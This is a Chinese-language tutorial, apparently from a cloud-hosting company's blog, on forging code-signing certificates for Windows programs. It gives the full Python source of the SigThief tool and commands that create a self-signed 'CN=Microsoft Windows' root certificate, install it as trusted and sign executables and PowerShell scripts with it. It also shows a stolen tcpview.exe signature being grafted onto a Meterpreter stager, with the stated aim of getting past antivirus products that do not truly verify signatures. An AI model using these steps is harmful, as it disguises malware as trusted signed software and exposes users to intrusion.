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本篇內(nèi)容主要講解“Python用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟”，感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷，實(shí)用性強(qiáng)。下面就讓小編來帶大家學(xué)習(xí)“Python用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟”吧!
制作并簽發(fā)證書:
偽造PE文件證書:
證書制作工具下載: https://github.com/3gstudent/signtools
正常情況下,針對(duì)exe簽發(fā)證書有如下幾個(gè)步驟.
1.查詢一個(gè)程序中存在的證書，可以使用下面三個(gè)命令。
c:\> signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dll c:\> signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dll c:\> signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll
2.使用makecert命令制作證書，sv-私鑰文件名，ss-主題的證書存儲(chǔ)名稱，n-證書頒發(fā)對(duì)象，r-證書存儲(chǔ)位置。
c:\> signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer c:\> signtools cert2spc Root.cer Root.spc c:\> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f
3.注冊(cè)證書與簽發(fā)證書。
c:\> signtools certmgr.exe -add -c Root.cer -s -r localmachine root c:\> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe
而如果要給PowerShell腳本添加證書,則執(zhí)行如下命令即可.
1.生成證書文件
c:\> makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer c:\> cert2spc certtest.cer certtest.spc c:\> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f
2.給powershell腳本簽名
c:\> powershell c:\> $cert = Get-PfxCertificate certtest.pfx c:\> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert
有些反病毒軟件供應(yīng)商優(yōu)先考慮某些證書頒發(fā)機(jī)構(gòu)而不檢查簽名是否真正有效，并且有一些只是檢查以查看certTable是否填充了某些值。這個(gè)工具讓你快速將從已簽名的PE文件中刪除簽名并將其附加到另一個(gè)文件，修復(fù)證書表以對(duì)文件進(jìn)行簽名。
開源工具SigThief可用于偽造證書，將下方代碼保存為sigthief.py即可：
import sys
import struct
import shutil
import io
from optparse import OptionParser
def gather_file_info_win(binary):
"""
Borrowed from BDF...
I could just skip to certLOC... *shrug*
"""
flItms = {}
binary = open(binary, 'rb')
binary.seek(int('3C', 16))
flItms['buffer'] = 0
flItms['JMPtoCodeAddress'] = 0
flItms['dis_frm_pehdrs_sectble'] = 248
flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
# Start of COFF
flItms['COFF_Start'] = flItms['pe_header_location'] + 4
binary.seek(flItms['COFF_Start'])
flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
binary.seek(flItms['COFF_Start'] + 2, 0)
flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
binary.seek(flItms['COFF_Start'] + 16, 0)
flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
#End of COFF
flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20
#if flItms['SizeOfOptionalHeader']:
#Begin Standard Fields section of Optional Header
binary.seek(flItms['OptionalHeader_start'])
flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfUninitializedData'] = struct.unpack("<I",
binary.read(4))[0]
flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
if flItms['Magic'] != 0x20B:
flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
# End Standard Fields section of Optional Header
# Begin Windows-Specific Fields of Optional Header
if flItms['Magic'] == 0x20B:
flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfImageLoc'] = binary.tell()
flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
if flItms['Magic'] == 0x20B:
flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zero
flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
# End Windows-Specific Fields of Optional Header
# Begin Data Directories of Optional Header
flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
#ImportTable SIZE|LOC
flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['CertTableLOC'] = binary.tell()
flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
binary.close()
return flItms
def copyCert(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Input file Not signed!")
sys.exit(-1)
with open(exe, 'rb') as f:
f.seek(flItms['CertLOC'], 0)
cert = f.read(flItms['CertSize'])
return cert
def writeCert(cert, exe, output):
flItms = gather_file_info_win(exe)
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")
def outputCert(exe, output):
cert = copyCert(exe)
if not output:
output = str(exe) + "_sig"
print("Output file: {0}".format(output))
open(output, 'wb').write(cert)
print("Signature ripped. \nFIN.")
def check_sig(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
else:
print("Inputfile is signed!")
def truncate(exe, output):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
sys.exit(-1)
else:
print( "Inputfile is signed!")
if not output:
output = str(exe) + "_nosig"
print("Output file: {0}".format(output))
shutil.copy2(exe, output)
with open(output, "r+b") as binary:
print('Overwriting certificate table pointer and truncating binary')
binary.seek(-flItms['CertSize'], io.SEEK_END)
binary.truncate()
binary.seek(flItms['CertTableLOC'], 0)
binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
print("Signature removed. \nFIN.")
def signfile(exe, sigfile, output):
flItms = gather_file_info_win(exe)
cert = open(sigfile, 'rb').read()
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")
if __name__ == "__main__":
usage = 'usage: %prog [options]'
parser = OptionParser()
parser.add_option("-i", "--file", dest="inputfile",
help="input file", metavar="FILE")
parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
help='rip signature off inputfile')
parser.add_option('-a', '--add', dest='addsig', action='store_true',
help='add signautre to targetfile')
parser.add_option('-o', '--output', dest='outputfile',
help='output file')
parser.add_option('-s', '--sig', dest='sigfile',
help='binary signature from disk')
parser.add_option('-t', '--target', dest='targetfile',
help='file to append signature to')
parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
help='file to check if signed; does not verify signature')
parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
help='truncate signature (i.e. remove sig)')
(options, args) = parser.parse_args()
# rip signature
# inputfile and rip to outputfile
if options.inputfile and options.ripsig:
print("Ripping signature to file!")
outputCert(options.inputfile, options.outputfile)
sys.exit()
# copy from one to another
# inputfile and rip to targetfile to outputfile
if options.inputfile and options.targetfile:
cert = copyCert(options.inputfile)
writeCert(cert, options.targetfile, options.outputfile)
sys.exit()
# check signature
# inputfile
if options.inputfile and options.checksig:
check_sig(options.inputfile)
sys.exit()
# add sig to target file
if options.targetfile and options.sigfile:
signfile(options.targetfile, options.sigfile, options.outputfile)
sys.exit()
# truncate
if options.inputfile and options.truncate:
truncate(options.inputfile, options.outputfile)
sys.exit()
parser.print_help()
parser.error("You must do something!")我們需要找一個(gè)帶有證書的文件，然后通過使用sigthief.py完成證書的克隆。此處就拿系統(tǒng)中的ConsentUX.dll演示。
c:\> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exe Output file: check.exe Signature appended. FIN.
也可以從二進(jìn)制文件中獲取簽名并將其添加到另一個(gè)二進(jìn)制文件中
$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe Output file: /tmp/msftesting_tcpview.exe Signature appended. FIN.
將簽名保存到磁盤以供以后使用，提供了一個(gè)轉(zhuǎn)存功能。
$ ./sigthief.py -i tcpview.exe -r Ripping signature to file! Output file: tcpview.exe_sig Signature ripped. FIN. ```BASH 使用翻錄簽名 ```BASH $ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe Output file: x86_meterpreter_stager.exe_signed Signature appended. FIN. ```BASH 截?cái)啵▌h除）簽名 這實(shí)際上有非常有趣的結(jié)果，可以幫助您找到重視代碼功能簽名的AV） ```BASH $ ./sigthief.py -i tcpview.exe -T Inputfile is signed! Output file: tcpview.exe_nosig Overwriting certificate table pointer and truncating binary Signature removed. FIN.
到此，相信大家對(duì)“Python用sigthief簽發(fā)證書的實(shí)現(xiàn)步驟”有了更深的了解，不妨來實(shí)際操作一番吧！這里是億速云網(wǎng)站，更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢，關(guān)注我們，繼續(xù)學(xué)習(xí)！
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